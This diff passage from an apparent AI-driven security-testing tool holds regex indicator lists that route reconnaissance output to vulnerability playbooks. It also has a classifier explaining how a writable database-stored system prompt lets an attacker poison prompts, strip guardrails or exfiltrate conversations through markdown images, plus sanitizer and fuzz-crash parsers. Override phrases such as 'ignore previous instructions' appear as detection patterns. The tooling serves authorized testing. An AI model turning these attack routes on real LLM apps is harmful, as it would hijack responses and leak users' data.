+ /Marshal\.load/i,
1047
+ /Gem::Installer/,
1048
+ // Generic
1049
+ /deserializ/i,
1050
+ /serializ.*object/i
1051
+ ]
1052
+ },
1053
+ {
1054
+ type: "request_smuggling",
1055
+ patterns: [
1056
+ /Transfer-Encoding/i,
1057
+ /chunked/i,
1058
+ /Content-Length.*Transfer-Encoding/is,
1059
+ /Transfer-Encoding.*Content-Length/is,
1060
+ /CL\.TE/i,
1061
+ /TE\.CL/i,
1062
+ /TE\.TE/i,
1063
+ /desync/i,
1064
+ /smuggl/i,
1065
+ /HAProxy/i,
1066
+ /Apache Traffic Server/i,
1067
+ /\bnginx\/1\.[0-9]\./i,
1068
+ // old nginx often vulnerable
1069
+ /HTTP\/1\.1.*keep-alive/i,
1070
+ /front.?end.*back.?end/i,
1071
+ /reverse.proxy/i,
1072
+ /X-Forwarded-For/i
1073
+ ]
1074
+ },
1075
+ {
1076
+ type: "creative_idor",
1077
+ patterns: [
1078
+ /\/api\/v\d+\//i,
1079
+ /\/v\d+\//,
1080
+ /id=\d+/,
1081
+ /user_?id/i,
1082
+ /owner_?id/i,
1083
+ /account_?id/i,
1084
+ /role=/i,
1085
+ /is_?admin/i,
1086
+ /X-Original-URL/i,
1087
+ /X-Rewrite-URL/i,
1088
+ /X-HTTP-Method/i,
1089
+ /_method=/i,
1090
+ /mass.assignment/i,
1091
+ /parameter.pollution/i,
1092
+ /\bHPP\b/,
1093
+ /403.*forbidden/i,
1094
+ /401.*unauthorized/i,
1095
+ /not.*authorized/i,
1096
+ /permission.denied/i,
1097
+ /access.denied/i,
1098
+ /enumerate/i,
1099
+ /sequential.*id/i,
1100
+ /predictable.*id/i
1101
+ ]
1102
+ },
1103
+ {
1104
+ type: "cve_exploitation",
1105
+ patterns: [
1106
+ // WordPress indicators
1107
+ /wp-content/i,
1108
+ /wp-includes/i,
1109
+ /wp-admin/i,
1110
+ /wp-json/i,
1111
+ /xmlrpc\.php/i,
1112
+ /wordpress/i,
1113
+ /wp-login/i,
1114
+ /\/wp-content\/plugins\//i,
1115
+ /\/wp-content\/themes\//i,
1116
+ // Drupal / Joomla
1117
+ /drupal/i,
1118
+ /joomla/i,
1119
+ /X-Drupal-Cache/i,
1120
+ // Generator / version disclosure
1121
+ /<meta\s+name=["']generator["']/i,
1122
+ /X-Generator:/i,
1123
+ /X-Powered-By:/i,
1124
+ /Server:\s*Apache\/[\d.]+/i,
1125
+ /Server:\s*nginx\/[\d.]+/i,
1126
+ // Common fingerprint files
1127
+ /readme\.html/i,
1128
+ /CHANGELOG\.txt/i,
1129
+ /composer\.json/i,
1130
+ /package\.json/i,
1131
+ // CVE / version strings
1132
+ /CVE-\d{4}-\d{4,7}/i,
1133
+ /\?ver=[\d.]+/i,
1134
+ /version[\s:=]+[\d]+\.[\d]+/i,
1135
+ // Plugin slugs commonly seen
1136
+ /contact-form-7/i,
1137
+ /woocommerce/i,
1138
+ /elementor/i,
1139
+ /yoast/i,
1140
+ /wp-file-manager/i,
1141
+ /duplicator/i,
1142
+ /ninja-forms/i
1143
+ ]
1144
+ },
1145
+ {
1146
+ type: "prompt_injection",
1147
+ patterns: [
1148
+ /prompt.?inject/i,
1149
+ /ignore (?:all |the |your )?(?:previous|prior|above) instructions/i,
1150
+ /system prompt/i,
1151
+ /jailbreak/i,
1152
+ /\bLLM\b/,
1153
+ /chatbot/i,
1154
+ /\bassistant\b/i,
1155
+ /role[:=]\s*system/i,
1156
+ /you are (?:a|an|now)/i,
1157
+ /\bDAN\b/
1158
+ ]
1159
+ },
1160
+ {
1161
+ type: "rag_poisoning",
1162
+ patterns: [
1163
+ /\bRAG\b/,
1164
+ /retrieval.augmented/i,
1165
+ /knowledge\s*base/i,
1166
+ /vector\s*(?:store|db|database)/i,
1167
+ /embedding/i,
1168
+ /\bretriev/i,
1169
+ /(?:upload|add|index|ingest).*(?:document|doc|file)/i,
1170
+ /context\s*(?:window|poison)/i,
1171
+ /ask (?:my|your) docs/i,
1172
+ /semantic search/i
1173
+ ]
1174
+ },
1175
+ {
1176
+ type: "insecure_output_handling",
1177
+ patterns: [
1178
+ /!\[[^\]]*\]\(https?:\/\//,
1179
+ // markdown image
1180
+ /render(?:ed|s)?.*(?:markdown|html|output)/i,
1181
+ /\bXSS\b/,
1182
+ /innerHTML/i,
1183
+ /dangerouslySetInnerHTML/i,
1184
+ /output.*(?:render|execut|eval)/i,
1185
+ /<img[^>]+onerror/i,
1186
+ /<script/i,
1187
+ /unescap/i,
1188
+ /link\s*(?:preview|unfurl)/i
1189
+ ]
1190
+ },
1191
+ {
1192
+ type: "excessive_agency",
1193
+ patterns: [
1194
+ /excessive.agency/i,
1195
+ /function.call/i,
1196
+ /tool.use/i,
1197
+ /\bplugin/i,
1198
+ /\bMCP\b/,
1199
+ /\bagent\b/i,
1200
+ /(?:send|delete|transfer|execute|invoke).*(?:tool|function|action)/i,
1201
+ /tool[_-]?call/i,
1202
+ /autonomous/i,
1203
+ /human.in.the.loop/i
1204
+ ]
1205
+ },
1206
+ {
1207
+ // AI prompt-layer write target (0#775). Fires when a DB foothold
1208
+ // coincides with LLM-app + prompt-store signals: the system prompt /
1209
+ // guardrails / model config live in a writable DB row. Distinct from
1210
+ // rag_poisoning (writable retrieval docs) — this is the *control* layer.
1211
+ type: "prompt_layer_write",
1212
+ patterns: [
1213
+ /system[_\s-]?prompt/i,
1214
+ /\bguardrail/i,
1215
+ /prompt[_\s-]?template/i,
1216
+ /\bpersona\b/i,
1217
+ /assistant[_\s-]?config/i,
1218
+ /agent[_\s-]?config/i,
1219
+ /model[_\s-]?config/i,
1220
+ /safety[_\s-]?settings/i,
1221
+ /\bllm[_\s-]?settings/i,
1222
+ /\bLLM\b/,
1223
+ /\bchatbot\b/i,
1224
+ /you are (?:a|an|now)/i,
1225
+ // DB-foothold co-signals
1226
+ /\bSQLi\b/i,
1227
+ /information_schema/i,
1228
+ /SHOW\s+TABLES/i,
1229
+ /\bUPDATE\s+\w+\s+SET/i,
1230
+ /getCollectionNames/i,
1231
+ /\bGRANT\b/i,
1232
+ /\bUPDATE\b.*privilege/i
1233
+ ]
1234
+ },
1235
+ {
1236
+ // Rust / userspace memory-safety + sandbox-escape (0#696, Monty-mode).
1237
+ // Fires on Rust unsafe / FFI surface, memory-corruption signals (sanitizer
1238
+ // and miri output, GC-root / refcount language), and the language-runtime
1239
+ // sandbox context the round-1 UAF lived in.
1240
+ type: "rust_memsafety",
1241
+ patterns: [
1242
+ /\bunsafe\b/i,
1243
+ /\bPyO3\b/i,
1244
+ /\bcargo[\s-]?fuzz\b/i,
1245
+ /\blibfuzzer\b/i,
1246
+ /\bmiri\b/i,
1247
+ /AddressSanitizer/i,
1248
+ /\bASAN\b/i,
1249
+ /\bUBSAN\b/i,
1250
+ /heap-use-after-free/i,
1251
+ /use[\s-]?after[\s-]?free/i,
1252
+ /double[\s-]?free/i,
1253
+ /type[\s-]?confusion/i,
1254
+ /\btransmute\b/i,
1255
+ /from_raw\b/i,
1256
+ /\bPy_(?:INCREF|DECREF)\b/i,
1257
+ /\brefcount\b/i,
1258
+ /\bgc[\s_-]?root\b/i,
1259
+ /gc\.collect\(/i,
1260
+ /garbage collector/i,
1261
+ /\.rs\b/,
1262
+ /\bcargo\b/i,
1263
+ /\bsegfault\b/i,
1264
+ /sandbox escape/i
1265
+ ]
1266
+ }
1267
+ ];
1268
+ function detectPlaybooks(toolResultTexts) {
1269
+ const combined = toolResultTexts.join("\n");
1270
+ const scores = /* @__PURE__ */ new Map();
1271
+ for (const indicator of INDICATORS) {
1272
+ let matchCount = 0;
1273
+ for (const pattern of indicator.patterns) {
1274
+ if (pattern.test(combined)) {
1275
+ matchCount++;
1276
+ }
1277
+ }
1278
+ if (matchCount >= 2) {
1279
+ scores.set(indicator.type, matchCount);
1280
+ }
1281
+ }
1282
+ return [...scores.entries()].sort((a, b) => b[1] - a[1]).slice(0, 3).map(([type]) => type);
1283
+ }
1284
+ function buildPlaybookInjection(types) {
1285
+ const sections = types.map((t) => PLAYBOOKS[t]).filter(Boolean);
1286
+ if (sections.length === 0)
1287
+ return "";
1288
+ return [
1289
+ "## Dynamic Playbook Injection",
1290
+ "",
1291
+ "Based on reconnaissance so far, these vulnerability-specific methodologies apply.",
1292
+ "Follow the steps below \u2014 they are tuned for the patterns detected in this target.",
1293
+ "",
1294
+ ...sections
1295
+ ].join("\n");
1296
+ }
1297
+ var PROMPT_LAYER_IMPACT_RULES = [
1298
+ {
1299
+ impact: "guardrail_removal",
1300
+ patterns: [
1301
+ /\bguardrail/i,
1302
+ /safety[_\s-]?settings?/i,
1303
+ /\bmoderation\b/i,
1304
+ /\bpolicy\b/i,
1305
+ /\brefus/i,
1306
+ /\bnever (?:reveal|disclose|share|answer)/i,
1307
+ /you must (?:refuse|not)/i,
1308
+ /content[_\s-]?filter/i
1309
+ ]
1310
+ },
1311
+ {
1312
+ impact: "output_channel_exfil",
1313
+ patterns: [
1314
+ /output[_\s-]?(?:channel|template|format)/i,
1315
+ /webhook/i,
1316
+ /\bcallback\b/i,
1317
+ /markdown/i,
1318
+ /!\[[^\]]*\]\(https?:\/\//,
1319
+ /append .*(?:url|link|http)/i
1320
+ ]
1321
+ },
1322
+ {
1323
+ impact: "model_config_tamper",
1324
+ patterns: [
1325
+ /model[_\s-]?(?:config|name|id)/i,
1326
+ /\btemperature\b/i,
1327
+ /\btop[_\s-]?p\b/i,
1328
+ /\bmax[_\s-]?tokens\b/i,
1329
+ /tool[_\s-]?(?:config|choice|s)\b/i,
1330
+ /function[_\s-]?(?:config|call)/i,
1331
+ /assistant[_\s-]?config/i,
1332
+ /agent[_\s-]?config/i
1333
+ ]
1334
+ },
1335
+ {
1336
+ impact: "prompt_poisoning",
1337
+ patterns: [
1338
+ /system[_\s-]?prompt/i,
1339
+ /prompt[_\s-]?template/i,
1340
+ /\bprompts?\b/i,
1341
+ /\binstructions?\b/i,
1342
+ /\bpersona\b/i,
1343
+ /you are (?:a|an|now|the)/i
1344
+ ]
1345
+ }
1346
+ ];
1347
+ function looksLikePromptLayer(haystack) {
1348
+ return PROMPT_LAYER_IMPACT_RULES.some((rule) => rule.patterns.some((p) => p.test(haystack)));
1349
+ }
1350
+ function classifyPromptLayerImpact(asset) {
1351
+ const haystack = [asset.table, asset.column, asset.sample].filter(Boolean).join(" ");
1352
+ const isPromptLayer = looksLikePromptLayer(haystack);
1353
+ if (!isPromptLayer) {
1354
+ return {
1355
+ isPromptLayer: false,
1356
+ impacts: [],
1357
+ severity: "info",
1358
+ narrative: "No prompt-layer signal: the asset does not look like a system prompt, guardrail, model config, or output-channel store. Not a prompt-layer write target."
1359
+ };
1360
+ }
1361
+ const impacts = [];
1362
+ for (const rule of PROMPT_LAYER_IMPACT_RULES) {
1363
+ if (rule.patterns.some((p) => p.test(haystack))) {
1364
+ impacts.push(rule.impact);
1365
+ }
1366
+ }
1367
+ if (!asset.writable) {
1368
+ return {
1369
+ isPromptLayer: true,
1370
+ impacts: [],
1371
+ severity: "low",
1372
+ narrative: `Prompt-layer asset detected (${describeAsset(asset)}) but no write path was confirmed from this foothold. Read exposure only \u2014 flag for review; re-check write privileges (SHOW GRANTS / admin edit endpoint) before claiming impact.`
1373
+ };
1374
+ }
1375
+ const reRead = asset.reReadAtInference === true;
1376
+ const severity = reRead ? "high" : "low";
1377
+ const impactLabels = impacts.map((i) => IMPACT_NARRATIVE[i]);
1378
+ const narrative = [
1379
+ `WRITABLE prompt-layer asset (${describeAsset(asset)}).`,
1380
+ reRead ? "The app re-reads this row at inference, so a write persists as a server-side prompt injection affecting EVERY future response for all users until reverted \u2014 invisible to end users and surviving restarts." : "Re-read-at-inference was NOT confirmed; impact may be limited if the prompt is cached or baked into code/env. Confirm the worker queries this row per request before escalating.",
1381
+ `Impact class(es): ${impacts.join(", ")}.`,
1382
+ ...impactLabels.map((l) => `- ${l}`),
1383
+ "Verification-only: NO destructive write was performed; write capability is asserted from privilege/endpoint evidence."
1384
+ ].join("\n");
1385
+ return { isPromptLayer: true, impacts, severity, narrative };
1386
+ }
1387
+ var IMPACT_NARRATIVE = {
1388
+ prompt_poisoning: "prompt_poisoning: rewriting the system prompt / persona hijacks every response (exfil instructions, scams, malicious links, brand damage).",
1389
+ guardrail_removal: "guardrail_removal: editing safety/refusal/policy text or flipping a moderation flag jailbreaks the model by config \u2014 it answers what it refused.",
1390
+ output_channel_exfil: "output_channel_exfil: injecting markdown-image/link or output-sink instructions silently exfiltrates conversation data on every turn.",
1391
+ model_config_tamper: "model_config_tamper: swapping model name, raising temperature, or rewiring tool/function config degrades safety or steers the agent to attacker tools."
1392
+ };
1393
+ function describeAsset(asset) {
1394
+ const loc = [asset.table, asset.column].filter(Boolean).join(".");
1395
+ return loc || "unnamed asset";
1396
+ }
1397
+
1398
+ // packages/core/dist/triage/userspace-fuzz-runner.js
1399
+ import { execFile } from "node:child_process";
1400
+ import { createHash } from "node:crypto";
1401
+ import { tmpdir } from "node:os";
1402
+ import { basename, dirname, isAbsolute, join, relative, resolve, sep } from "node:path";
1403
+ import { closeSync, constants, existsSync, fstatSync, lstatSync, mkdirSync, mkdtempSync, openSync, readFileSync, readdirSync, realpathSync, rmSync, statSync, writeFileSync } from "node:fs";
1372
1404
 
1373
- ### Step 4: Produce the impact narrative + save
1374
- - Write the narrative: which row/column, which impact class(es), blast radius
1375
- (all users / one tenant), persistence (survives restarts because it's in the DB),
1376
- and the proof that it's writable + re-read.
1377
- - \`save_finding\` with: the table/column/key, a read-only sample of the current
1378
- prompt, the privilege/re-read evidence, the impact classification, and the
1379
- narrative. Explicitly note that NO destructive write was performed.`,
1380
- rust_memsafety: `## Rust / Userspace Memory-Safety & Sandbox-Escape Playbook ("Monty-mode")
1405
+ // packages/core/dist/review/sanitizer-log.js
1406
+ var ASAN_CATEGORY_BY_KIND = {
1407
+ "heap-use-after-free": "use-after-free",
1408
+ "stack-use-after-return": "use-after-free",
1409
+ "stack-use-after-scope": "use-after-free",
1410
+ "double-free": "double-free",
1411
+ "attempting-double-free": "double-free",
1412
+ "stack-buffer-overflow": "stack-buffer-overflow",
1413
+ "heap-buffer-overflow": "heap-overflow",
1414
+ "global-buffer-overflow": "heap-overflow"
1415
+ };
1416
+ function categoryForAsan(kind, primitive) {
1417
+ if ((kind === "heap-buffer-overflow" || kind === "global-buffer-overflow") && primitive === "read") {
1418
+ return "out-of-bounds-read";
1419
+ }
1420
+ if ((kind === "heap-buffer-overflow" || kind === "global-buffer-overflow") && primitive === "write") {
1421
+ return "out-of-bounds-write";
1422
+ }
1423
+ return ASAN_CATEGORY_BY_KIND[kind] ?? "other";
1424
+ }
1425
+ function categoryForUbsan(message) {
1426
+ const lower = message.toLowerCase();
1427
+ if (lower.includes("signed integer overflow") || lower.includes("unsigned integer overflow")) {
1428
+ return { kind: "signed-integer-overflow", category: "integer-overflow" };
1429
+ }
1430
+ if (lower.includes("shift exponent") || lower.includes("shift base")) {
1431
+ return { kind: "shift-exponent", category: "integer-overflow" };
1432
+ }
1433
+ if (lower.includes("float-cast-overflow") || lower.includes("outside the range of representable values")) {
1434
+ return { kind: "float-cast-overflow", category: "integer-truncation" };
1435
+ }
1436
+ if (lower.includes("null pointer") || lower.includes("null-pointer")) {
1437
+ return { kind: "null-pointer-use", category: "null-deref" };
1438
+ }
1439
+ return { kind: "undefined-behavior", category: "other" };
1440
+ }
1441
+ function parsePrimitive(text) {
1442
+ const access = text.match(/\b(READ|WRITE) of size (\d+)/i);
1443
+ if (!access)
1444
+ return { primitive: "unknown" };
1445
+ return {
1446
+ primitive: access[1].toLowerCase(),
1447
+ accessSize: Number(access[2])
1448
+ };
1449
+ }
1450
+ function parseFrames(text) {
1451
+ const frames = [];
1452
+ const frameRegex = /^\s*#\d+\s+0x[0-9a-fA-F]+\s+in\s+(?:(\S+)\s+)?(.+?):(\d+)(?::\d+)?(?:\s|$)/gm;
1453
+ let match;
1454
+ while ((match = frameRegex.exec(text)) !== null) {
1455
+ frames.push({
1456
+ functionName: match[1],
1457
+ file: match[2],
1458
+ line: Number(match[3])
1459
+ });
1460
+ }
1461
+ return frames;
1462
+ }
1463
+ function parseAsan(text) {
1464
+ const header = text.match(/ERROR:\s*AddressSanitizer:\s*([a-z0-9-]+)/i);
1465
+ if (!header?.[1])
1466
+ return null;
1467
+ const kind = header[1].toLowerCase();
1468
+ const { primitive, accessSize } = parsePrimitive(text);
1469
+ const frames = parseFrames(text);
1470
+ let sourceFile = frames[0]?.file;
1471
+ let sourceLine = frames[0]?.line;
1472
+ const summary = text.match(/SUMMARY:\s*AddressSanitizer:\s*[a-z0-9-]+\s+(.+?):(\d+)(?::\d+)?/i);
1473
+ if ((!sourceFile || !sourceLine) && summary?.[1] && summary?.[2]) {
1474
+ sourceFile = summary[1];
1475
+ sourceLine = Number(summary[2]);
1476
+ }
1477
+ const allocMatch = text.match(/\b(\d+)-byte region\b/i);
1478
+ const allocSize = allocMatch?.[1] ? Number(allocMatch[1]) : void 0;
1479
+ return {
1480
+ sanitizer: "asan",
1481
+ kind,
1482
+ category: categoryForAsan(kind, primitive),
1483
+ primitive,
1484
+ sourceFile,
1485
+ sourceLine,
1486
+ allocSize,
1487
+ accessSize,
1488
+ summary: text.split("\n").find((line) => line.includes("ERROR: AddressSanitizer"))?.trim() ?? kind,
1489
+ frames
1490
+ };
1491
+ }
1492
+ function parseUbsan(text) {
1493
+ const runtime = text.match(/^(.+?):(\d+):(?:(\d+):)?\s*runtime error:\s*(.+)$/m);
1494
+ if (!runtime?.[1] || !runtime?.[2] || !runtime?.[4])
1495
+ return null;
1496
+ const details = runtime[4].trim();
1497
+ const { kind, category } = categoryForUbsan(details);
1498
+ return {
1499
+ sanitizer: "ubsan",
1500
+ kind,
1501
+ category,
1502
+ primitive: "unknown",
1503
+ sourceFile: runtime[1],
1504
+ sourceLine: Number(runtime[2]),
1505
+ summary: details,
1506
+ frames: []
1507
+ };
1508
+ }
1509
+ function parseSanitizerLog(text) {
1510
+ const trimmed = text.trim();
1511
+ if (!trimmed)
1512
+ return null;
1513
+ return parseAsan(trimmed) ?? parseUbsan(trimmed);
1514
+ }
1515
+ function renderSanitizerVerdict(verdict) {
1516
+ const loc = verdict.sourceFile ? `${verdict.sourceFile}${verdict.sourceLine ? `:${verdict.sourceLine}` : ""}` : "unknown location";
1517
+ const sizes = [
1518
+ verdict.accessSize !== void 0 ? `access=${verdict.accessSize}` : null,
1519
+ verdict.allocSize !== void 0 ? `allocation=${verdict.allocSize}` : null
1520
+ ].filter(Boolean).join(", ");
1521
+ return [
1522
+ `${verdict.sanitizer.toUpperCase()} ${verdict.kind}`,
1523
+ `category=${verdict.category}`,
1524
+ `primitive=${verdict.primitive}`,
1525
+ `source=${loc}`,
1526
+ sizes || null
1527
+ ].filter(Boolean).join("; ");
1528
+ }
1381
1529
 
1382
- The target is a memory-safe-by-default language runtime (e.g. a Rust-written
1383
- Python interpreter / sandbox such as Pydantic Monty). The bug class is memory
1384
- corruption reachable from attacker-controlled scripting: use-after-free,
1385
- double-free, type confusion, OOB, and **GC-root gaps**. This is discovery +
1386
- classification, NOT autonomous exploit synthesis (see
1387
- docs/0-rust-memsafety-pipeline.md).
1530
+ // packages/core/dist/triage/userspace-fuzz-runner.js
1531
+ var MEMSAFETY_ARTIFACT_SCHEMA = "0-memsafety-artifacts/v1";
1532
+ var MAX_RETAINED_CRASHES = 16;
1533
+ var MAX_RETAINED_REPRODUCER_BYTES = 1024 * 1024;
1534
+ var MAX_RETAINED_LOG_BYTES = 256 * 1024;
1535
+ var DEFAULT_RETAINED_ARTIFACT_BYTES = 4 * 1024 * 1024;
1536
+ var MIN_RETAINED_ARTIFACT_BYTES = 64 * 1024;
1537
+ var ARTIFACT_MANIFEST_RESERVE_BYTES = 64 * 1024;
1538
+ var TOOLING_HINTS = {
1539
+ cargo: "cargo not found \u2014 install the Rust toolchain via https://rustup.rs",
1540
+ "cargo-fuzz": "cargo-fuzz not found \u2014 install with `cargo install cargo-fuzz` (requires a nightly toolchain for `cargo fuzz run`)",
1541
+ "cargo-fuzz-harness": "cargo-fuzz needs exactly one harness \u2014 pass `--harness <name>` or provide a source tree with one cargo-fuzz target",
1542
+ miri: "miri not found \u2014 install with `rustup +nightly component add miri`",
1543
+ clang: "clang not found \u2014 install LLVM/clang to compile the libFuzzer harness"
1544
+ };
1545
+ function commandAvailable(command, args) {
1546
+ return new Promise((resolveProbe) => {
1547
+ execFile(command, args, { timeout: 1e4, env: fuzzChildEnv() }, (error) => {
1548
+ resolveProbe(!error);
1549
+ });
1550
+ });
1551
+ }
1552
+ async function cargoAvailable() {
1553
+ return commandAvailable("cargo", ["--version"]);
1554
+ }
1555
+ async function cargoFuzzAvailable() {
1556
+ return commandAvailable("cargo", ["fuzz", "--help"]);
1557
+ }
1558
+ async function miriAvailable() {
1559
+ return commandAvailable("cargo", ["+nightly", "miri", "--version"]);
1560
+ }
1561
+ async function clangAvailable() {
1562
+ return commandAvailable("clang", ["--version"]);
1563
+ }
1564
+ var ASAN_PRIMITIVE = {
1565
+ "heap-use-after-free": "use-after-free",
1566
+ "stack-use-after-return": "use-after-free",
1567
+ "stack-use-after-scope": "use-after-free",
1568
+ "double-free": "double-free",
1569
+ "attempting-double-free": "double-free",
1570
+ "stack-buffer-overflow": "stack-oob"
1571
+ };
1572
+ function primitiveFromSanitizerKind(kind, rw) {
1573
+ if (kind === "heap-buffer-overflow" || kind === "global-buffer-overflow") {
1574
+ return rw === "write" ? "heap-oob-write" : "heap-oob-read";
1575
+ }
1576
+ const direct = ASAN_PRIMITIVE[kind];
1577
+ if (direct)
1578
+ return direct;
1579
+ if (kind === "signed-integer-overflow" || kind === "shift-exponent") {
1580
+ return "integer-overflow";
1581
+ }
1582
+ if (kind === "null-pointer-use")
1583
+ return "null-deref";
1584
+ return "unknown";
1585
+ }
1586
+ function signatureFromFrames(kind, frames, rawOutput) {
1587
+ const top = frames.map((f) => normaliseFrame(f)).filter(Boolean).slice(0, 5);
1588
+ const basis = top.length > 0 ? `${kind}
1589
+ ${top.join("\n")}` : `${kind}
1590
+ ${rawOutput.trim().split("\n").slice(0, 3).join("\n")}`;
1591
+ return createHash("sha256").update(basis).digest("hex").slice(0, 16);
1592
+ }
1593
+ function normaliseFrame(frame) {
1594
+ return frame.replace(/0x[0-9a-fA-F]+/g, "").replace(/\+0x[0-9a-fA-F]+(\/0x[0-9a-fA-F]+)?/g, "").replace(/:\d+(:\d+)?\b/g, "").replace(/\s+/g, " ").trim();
1595
+ }
1596
+ function parseCrashOutput(output, hint) {
1597
+ const text = output.trim();
1598
+ if (!text)
1599
+ return null;
1600
+ const sanitizer = parseSanitizerLog(text);
1601
+ if (sanitizer) {
1602
+ const frames = sanitizer.frames.map((f) => [f.functionName, f.file && `${f.file}:${f.line ?? ""}`].filter(Boolean).join(" "));
1603
+ const kind = sanitizer.sanitizer === "asan" ? "asan" : "ubsan";
1604
+ const rw = sanitizer.primitive === "read" || sanitizer.primitive === "write" ? sanitizer.primitive : "unknown";
1605
+ return {
1606
+ kind,
1607
+ signature: signatureFromFrames(sanitizer.kind, frames, text),
1608
+ rawOutput: text,
1609
+ inputPath: hint?.inputPath,
1610
+ stack: frames.length > 0 ? frames : void 0,
1611
+ primitive: primitiveFromSanitizerKind(sanitizer.kind, rw)
1612
+ };
1613
+ }
1614
+ if (/error: Undefined Behavior|Miri caught|error\[E\d+\].*unsafe/i.test(text)) {
1615
+ const frames = parseMiriFrames(text);
1616
+ return {
1617
+ kind: "miri",
1618
+ signature: signatureFromFrames("miri", frames, text),
1619
+ rawOutput: text,
1620
+ inputPath: hint?.inputPath,
1621
+ stack: frames.length > 0 ? frames : void 0,
1622
+ primitive: primitiveFromMiri(text)
1623
+ };
1624
+ }
1625
+ if (/thread '.*' panicked at|panicked at/i.test(text)) {
1626
+ const frames = parseRustBacktrace(text);
1627
+ return {
1628
+ kind: "panic",
1629
+ signature: signatureFromFrames("panic", frames, text),
1630
+ rawOutput: text,
1631
+ inputPath: hint?.inputPath,
1632
+ stack: frames.length > 0 ? frames : void 0,
1633
+ primitive: primitiveFromPanic(text)
1634
+ };
1635
+ }
1636
+ if (hint?.kind === "timeout") {
1637
+ return {
1638
+ kind: "timeout",
1639
+ signature: signatureFromFrames("timeout", [], text),
1640
+ rawOutput: text,
1641
+ inputPath: hint?.inputPath,
1642
+ primitive: "unknown"
1643
+ };
1644
+ }
1645
+ if (/out-of-memory|libFuzzer: out-of-memory|rss limit exceeded/i.test(text)) {
1646
+ return {
1647
+ kind: "oom",
1648
+ signature: signatureFromFrames("oom", [], text),
1649
+ rawOutput: text,
1650
+ inputPath: hint?.inputPath,
1651
+ primitive: "unknown"
1652
+ };
1653
+ }
1654
+ if (hint?.kind === "segfault" || /SEGV|segmentation fault|deadly signal|SIGSEGV/i.test(text)) {
1655
+ return {
1656
+ kind: "segfault",
1657
+ signature: signatureFromFrames("segfault", parseRustBacktrace(text), text),
1658
+ rawOutput: text,
1659
+ inputPath: hint?.inputPath,
1660
+ primitive: "null-deref"
1661
+ };
1662
+ }
1663
+ return null;
1664
+ }
1665
+ function parseMiriFrames(text) {
1666
+ const frames = [];
1667
+ const locRe = /-->\s+(.+?:\d+(?::\d+)?)/g;
1668
+ let m;
1669
+ while ((m = locRe.exec(text)) !== null)
1670
+ frames.push(m[1]);
1671
+ return frames.length > 0 ? frames : parseRustBacktrace(text);
1672
+ }
1673
+ function parseRustBacktrace(text) {
1674
+ const frames = [];
1675
+ const symRe = /^\s*\d+:\s+(.+)$/gm;
1676
+ let m;
1677
+ while ((m = symRe.exec(text)) !== null)
1678
+ frames.push(m[1].trim());
1679
+ return frames;
1680
+ }
1681
+ function primitiveFromMiri(text) {
1682
+ const lower = text.toLowerCase();
1683
+ if (lower.includes("use-after-free") || lower.includes("dangling")) {
1684
+ return "use-after-free";
1685
+ }
1686
+ if (lower.includes("uninitialized"))
1687
+ return "uninit-read";
1688
+ if (lower.includes("out-of-bounds") || lower.includes("out of bounds")) {
1689
+ return "heap-oob-read";
1690
+ }
1691
+ if (lower.includes("null pointer") || lower.includes("null reference")) {
1692
+ return "null-deref";
1693
+ }
1694
+ if (lower.includes("type") && lower.includes("validity"))
1695
+ return "type-confusion";
1696
+ return "unknown";
1697
+ }
1698
+ function primitiveFromPanic(text) {
1699
+ const lower = text.toLowerCase();
1700
+ if (lower.includes("index out of bounds"))
1701
+ return "heap-oob-read";
1702
+ if (lower.includes("overflow"))
1703
+ return "integer-overflow";
1704
+ return "unknown";
1705
+ }
1706
+ var FUZZ_TOOLCHAIN_ENV_PASSTHROUGH = [
1707
+ "CARGO_HOME",
1708
+ "RUSTUP_HOME",
1709
+ "RUSTUP_TOOLCHAIN",
1710
+ "CARGO_TARGET_DIR"
1711
+ ];
1712
+ function fuzzChildEnv() {
1713
+ const extras = {};
1714
+ for (const key of FUZZ_TOOLCHAIN_ENV_PASSTHROUGH) {
1715
+ const value = process.env[key];
1716
+ if (value !== void 0)
1717
+ extras[key] = value;
1718
+ }
1719
+ return allowlistedChildEnv(extras);
1720
+ }
1721
+ function runChild(command, args, cwd, timeoutMs) {
1722
+ return new Promise((resolveRun) => {
1723
+ execFile(command, args, { cwd, timeout: timeoutMs, maxBuffer: 16 * 1024 * 1024, killSignal: "SIGKILL", env: fuzzChildEnv() }, (error, stdout, stderr) => {
1724
+ const stdoutText = String(stdout ?? "");
1725
+ const output = `${stdoutText}${String(stderr ?? "")}`;
1726
+ const timedOut = Boolean(error && error.killed);
1727
+ const signalled = Boolean(error && error.signal);
1728
+ resolveRun({
1729
+ output,
1730
+ stdout: stdoutText,
1731
+ timedOut,
1732
+ signalled,
1733
+ failed: Boolean(error)
1734
+ });
1735
+ });
1736
+ });
1737
+ }
1738
+ function dedupeBySignature(crashes) {
1739
+ const seen = /* @__PURE__ */ new Map();
1740
+ for (const crash of crashes) {
1741
+ if (!seen.has(crash.signature))
1742
+ seen.set(crash.signature, crash);
1743
+ }
1744
+ return Array.from(seen.values());
1745
+ }
1746
+ function pathIsWithin(root, candidate) {
1747
+ const rel = relative(root, candidate);
1748
+ return rel === "" || rel !== ".." && !rel.startsWith(`..${sep}`) && !isAbsolute(rel);
1749
+ }
1750
+ function resolveCargoFuzzDir(sourceRoot, fuzzDir) {
1751
+ const raw = fuzzDir?.trim() || "fuzz";
1752
+ if (isAbsolute(raw))
1753
+ return void 0;
1754
+ const candidate = resolve(sourceRoot, raw);
1755
+ if (!pathIsWithin(sourceRoot, candidate))
1756
+ return void 0;
1757
+ try {
1758
+ const canonical = realpathSync(candidate);
1759
+ return canonical === candidate && pathIsWithin(sourceRoot, canonical) ? canonical : void 0;
1760
+ } catch {
1761
+ return void 0;
1762
+ }
1763
+ }
1764
+ function isCargoFuzzHarnessName(value) {
1765
+ return /^[A-Za-z0-9][A-Za-z0-9_-]*$/.test(value);
1766
+ }
1767
+ function isStableSourceDirectory(sourceRoot, directory) {
1768
+ try {
1769
+ const canonical = realpathSync(directory);
1770
+ return canonical === directory && pathIsWithin(sourceRoot, canonical);
1771
+ } catch {
1772
+ return false;
1773
+ }
1774
+ }
1775
+ function resolveArtifactRoot(artifactDir, sourceRoot) {
1776
+ if (!artifactDir)
1777
+ return void 0;
1778
+ mkdirSync(artifactDir, { recursive: true, mode: 448 });
1779
+ const canonical = realpathSync(artifactDir);
1780
+ if (pathIsWithin(sourceRoot, canonical)) {
1781
+ throw new Error("artifactDir must resolve outside the prepared source tree");
1782
+ }
1783
+ return artifactDir;
1784
+ }
1785
+ function makeArtifactDir(artifactDir) {
1786
+ if (artifactDir) {
1787
+ return { dir: mkdtempSync(join(artifactDir, "0-uf-")), ephemeral: false };
1788
